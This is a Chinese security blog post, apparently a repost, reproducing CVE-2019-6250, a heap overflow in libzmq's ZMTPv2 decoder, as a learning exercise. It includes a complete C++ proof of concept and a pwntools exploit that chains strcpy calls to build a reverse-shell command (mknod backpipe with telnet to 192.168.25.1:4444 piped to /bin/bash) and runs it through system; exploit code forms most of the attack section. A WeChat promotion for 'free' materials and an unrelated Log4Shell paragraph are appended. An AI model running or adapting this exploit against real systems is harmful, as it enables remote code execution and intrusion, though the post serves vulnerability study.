反弹Shell漏洞(CVE-2019-6250)

概述

ZMQ(Zero MessageQueue)是一种基于消息队列得多线程网络库,C++编写,可以使得Socket编程更加简单高效。

该编号为CVE-2019-6250的远程执行漏洞,主要出现在ZMQ的核心引擎libzmq(4.2.x以及4.3.1之后的4.3.x)定义的ZMTPv2.0协议中。

这一漏洞已经有很多师傅都已经分析并复现过了,但在环境搭建和最后的利用都所少有一些不完整,为了更好的学习,在学习师傅们的文章后,我进行了复现,并进行了些许补充,供师傅们学习,特别是刚开始复现CVE的师傅。

环境搭建

复现CVE最关键也是最繁琐的一步就是搭建漏洞环境,尽量保持与CVE报告的漏洞环境一致,如旧版本环境实在搞不到,就只能对新版本进行适当patch,把漏洞部分恢复以进行复现。

下面是针对该漏洞的环境搭建步骤

下载目标版本并安装

git clone https://github.com/zeromq/libzmq.git
cd libzmq
git reset --hard 7302b9b8d127be5aa1f1ccebb9d01df0800182f3
sudo apt-get install libtool pkg-config build-essential autoconf
automake
./autogen.sh
./configure
make
sudo make install

下载cppzmq

git clone https://github.com/zeromq/cppzmq
cd cppzmq
cmake .
sudo make -j4 install

测试

cd demo
编辑main.cpp,添加printf("hello worldn");
mkdir build
cd build
cmake ..
make
./demo

demo可以正常执行即可

在我看到的几篇文章中,cppzmq好像都少了最后的make,导致编译并没有完全结束,影响后面的复现

漏洞复现

先看看已有的poc

#include <netinet/in.h>
#include <arpa/inet.h>
#include <zmq.hpp>
#include <string>
#include <iostream>
#include <unistd.h>
#include <thread>
#include <mutex>
​
class Thread {
public:
Thread() : the_thread(&Thread::ThreadMain, this)
{ }
~Thread(){
}
private:
std::thread the_thread;
void ThreadMain() {
zmq::context_t context (1);
zmq::socket_t socket (context, ZMQ_REP);
socket.bind ("tcp://*:6666");
​
while (true) {
zmq::message_t request;
​
// Wait for next request from client
try {
socket.recv (&request);
} catch ( ... ) { }
}
}
};
​
static void callRemoteFunction(const uint64_t arg1Addr, const uint64_t
arg2Addr, const uint64_t funcAddr)
{
int s;
struct sockaddr_in remote_addr = {};
if ((s = socket(AF_INET, SOCK_STREAM, 0)) == -1)
{
abort();
}
remote_addr.sin_family = AF_INET;
remote_addr.sin_port = htons(6666);
inet_pton(AF_INET, "127.0.0.1", &remote_addr.sin_addr);
​
if (connect(s, (struct sockaddr *)&remote_addr, sizeof(struct
sockaddr)) == -1)
{
abort();
}
​
const uint8_t greeting[] = {
0xFF, /* Indicates 'versioned' in
zmq::stream_engine_t::receive_greeting */
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, /* Unused */
0x01, /* Indicates 'versioned' in
zmq::stream_engine_t::receive_greeting */
0x01, /* Selects ZMTP_2_0 in
zmq::stream_engine_t::select_handshake_fun */
0x00, /* Unused */
};
send(s, greeting, sizeof(greeting), 0);
​
const uint8_t v2msg[] = {
0x02, /* v2_decoder_t::eight_byte_size_ready */
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, /* msg_size */
};
send(s, v2msg, sizeof(v2msg), 0);
​
/* Write UNTIL the location of zmq::msg_t::content_t */
size_t plsize = 8183;
uint8_t* pl = (uint8_t*)calloc(1, plsize);
send(s, pl, plsize, 0);
free(pl);
​
uint8_t content_t_replacement[] = {
/* void* data */
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
​
/* size_t size */
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
​
/* msg_free_fn *ffn */
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
​
/* void* hint */
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
};
​
/* Assumes same endianness as target */
memcpy(content_t_replacement + 0, &arg1Addr, sizeof(arg1Addr));
memcpy(content_t_replacement + 16, &funcAddr, sizeof(funcAddr));
memcpy(content_t_replacement + 24, &arg2Addr, sizeof(arg2Addr));
​
/* Overwrite zmq::msg_t::content_t */
send(s, content_t_replacement, sizeof(content_t_replacement), 0);
​
close(s);
sleep(1);
}
​
char destbuffer[100];
char srcbuffer[100] = "ping google.com";
​
int main(void)
{
Thread* rt = new Thread();
sleep(1);
​
callRemoteFunction((uint64_t)destbuffer, (uint64_t)srcbuffer,
(uint64_t)strcpy);
​
callRemoteFunction((uint64_t)destbuffer, 0, (uint64_t)system);
​
return 0;
}
复制到demo重新编译

执行./demo

202312061503198.png

复现成功

【----帮助网安学习,以下所有学习资料免费领!加vx:yj009991,备注“freebuf”获取!】

① 网安学习成长路径思维导图
② 60+网安经典常用工具包
③ 100+SRC漏洞分析报告
④ 150+网安攻防实战技术电子书
⑤ 最权威CISSP 认证考试指南+题库
⑥ 超1800页CTF实战技巧手册
⑦ 最新网安大厂面试题合集(含答案)
⑧ APP客户端安全检测指南(安卓+IOS)

POC分析

poc主要包括下面四部分

greeting
v2msg
plsize
content_t_replacement

v2msg用于设置msg_size=0xffffffffffffffff,其中的0x2标识程序进入eight_byte_size_ready状态,调用zmq::v2_decoder_t::size_ready进行解析,zmq::v2_decoder_t::size_ready方法在做比较判断的时候,使用的read_pos_ +msg_size加法发生整型溢出,导致可绕过缓冲区大小校验进入else流程。else流程调用zmq::msg_t::init()方法,该方法不会重新分配缓冲区大小而直接处理数据。在后续流程中将造成缓冲区写越界。下面是源代码中存在漏洞的部分。

if (unlikely (!_zero_copy
|| ((unsigned char *) read_pos_ + msg_size_
> (allocator.data () + allocator.size ())))) {
rc = _in_progress.init_size (static_cast<size_t> (msg_size_));
} else {
rc = _in_progress.init (const_cast<unsigned char *> (read_pos_),
static_cast<size_t> (msg_size_),
shared_message_memory_allocator::call_dec_ref,
allocator.buffer (), allocator.provide_content ());
if (_in_progress.is_zcmsg ()) {
allocator.advance_content ();
allocator.inc_ref ();
}
}

plsize作为padding,长度为0x1FF7,使得content_t_replacement可以覆盖_u.zclmsg.content指向的结构体。

202312061503200.png

ffn为函数指针,data和hint为两个参数的地址值,ffn将在tcp连接关闭的时候被zmq::msg_t::close()方法调用,看下图调试结果,成功执行了call0xdeadbeaf

202312061503201.png

反弹Shell

由于还不清楚如何泄露地址,这里基于没有开PIE的程序编写exp。

通过分析POC,我们发现可以控制ffn,data和hint,即调用函数和两个参数,可以实现远程代码执行。

那么我的目标是反弹shell,也就是执行

system("mknod backpipe1 p && telnet
192.168.25.1 4444 0<backpipe1 | /bin/bash
1>backpipe1;")

,当然这只是其中一种方式。

那么,我的想法是,在二进制文件中找命令中的所有字符,通过执行strcpy进行拷贝,拼接成完整的命令,最后用调用system函数进行执行,实现反弹shell。

exp如下

#!/usr/bin/env python
# -*- encoding: utf-8 -*-
'''
@File : exp.py
@Time : 2023/06/24 08:59:34
@Author : 5ma11wh1t3
@Contact : 197489628@qq.com
'''
​
import ctypes
from pwn import *
import base64
context.log_level=True
context.arch='amd64'
elf_path = './build/demo'
elf = ELF(elf_path)
ru = lambda x : p.recvuntil(x)
sn = lambda x : p.send(x)
rl = lambda : p.recvline()
sl = lambda x : p.sendline(x)
rv = lambda x : p.recv(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
inter = lambda : p.interactive()
def debug():
  gdb.attach(p, 'directory
  /home/guo/Desktop/cve/cve-2019-6250/libzmq/src')
  pause()
def lg(s,addr = None):
  if addr:
      print('033[1;31;40m[+] %-15s --> 0x%8x033[0m'%(s,addr))
  else:
      print('033[1;32;40m[-] %-20s 033[0m'%(s))
​
if __name__ == '__main__':
  re_shell = b"mknod backpipe1 p && telnet 192.168.25.1 4444 0<backpipe1
  | /bin/bash 1>backpipe1;"
  with open(elf_path,'rb') as f:
  binary = f.read()
  ads = []
  for char in re_shell:
  char_address = 0x400000 + binary.index(char)
  ads.append(char_address)
  for i in range(len(ads)):
  p = remote('127.0.0.1',6666)
  p1 = b'xff' + b'x00'*8 + b'x01' + b'x01' +b'x00'
  p1 += b'x02' + b'xff'*8
  p1 += b'a'*8183
  p1 += p64(0x4050F8+i) # void* data rdi
  p1 += p64(0) # size_t size
  p1 += p64(elf.plt['strcpy']) # msg_free_fn *ffn func
  p1 += p64(ads[i]) # void* hint rsi
  sn(p1)
  p.close()
  p = remote('127.0.0.1',6666)
  p1 = b'xff' + b'x00'*8 + b'x01' + b'x01' +b'x00'
  p1 += b'x02' + b'xff'*8
  p1 += b'a'*8183
  p1 += p64(0x4050F8) # void* data rdi
  p1 += p64(0) # size_t size
  p1 += p64(elf.plt['system']) # msg_free_fn *ffn func
  p1 += p64(ads[i]) # void* hint rsi
  # raw_input()
  sn(p1)
  p.close()

演示

攻击准备

本地起监听

202312061503202.png

server

202312061503203.png

攻击实施

202312061503204.png

获得shell

202312061503205.png

原文链接:https://www.freebuf.com/vuls/385865.html

免费领取安全学习资料包!

渗透工具

技术文档、书籍

 

面试题

帮助你在面试中脱颖而出

视频

基础到进阶

环境搭建、HTML,PHP,MySQL基础学习,信息收集,SQL注入,XSS,CSRF,暴力破解等等

 

应急响应笔记

学习路线

CVE-2021-44228是一个Apache Log4j 2组件中的严重漏洞,被称为Log4Shell或Log4j RCE。该漏洞允许攻击者通过恶意用户输入触发远程代码执行。当成功利用该漏洞时,攻击者可以在受影响的服务器上执行任意命令,并潜在地获得对系统的完全控制。 要成功执行反弹shell攻击,攻击者通常会选择将恶意命令嵌入到受攻击服务器的Log4j配置文件中。恶意命令将在服务器上被执行,从而使攻击者可以与远程恶意控制服务器建立连接,并进一步执行指令。 然而,由于几个因素,可能导致CVE-2021-44228反弹shell不成功: 1. 受攻击的服务器未及时更新修补程序:Log4Shell漏洞的修复需要用户及时更新受影响的Apache Log4j 2组件版本,并更新配置文件以避免受恶意命令执行的风险。如果服务器未更新至修补程序版本,则攻击者仍然可以利用该漏洞访问服务器,但可能会受到其他安全保护措施的限制。 2. 防火墙或安全设备过滤了恶意命令:如果目标服务器上的防火墙或其他安全设备具有适当的规则和策略,它们可能能够检测到并阻止恶意命令的执行,从而防止成功的反弹shell攻击。 3. 受攻击的服务器具有其他安全防护措施:除了及时更新Log4j组件以修复漏洞之外,许多服务器和网络通常采取其他安全措施来保护系统免受非法访问和攻击。这些安全措施可能包括基于IP、用户身份验证或其他类型的访问控制,可能会限制攻击者成功执行反弹shell攻击。 总结来说,CVE-2021-44228反弹shell不成功可能是由于受影响的服务器未及时更新修补程序、防火墙或其他安全设备过滤了恶意命令,或者服务器上具有其他安全防护措施。要解决这个问题,管理员应确保服务器已正确更新修补程序,并配置适当的安全措施来降低受到此类漏洞攻击的风险。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值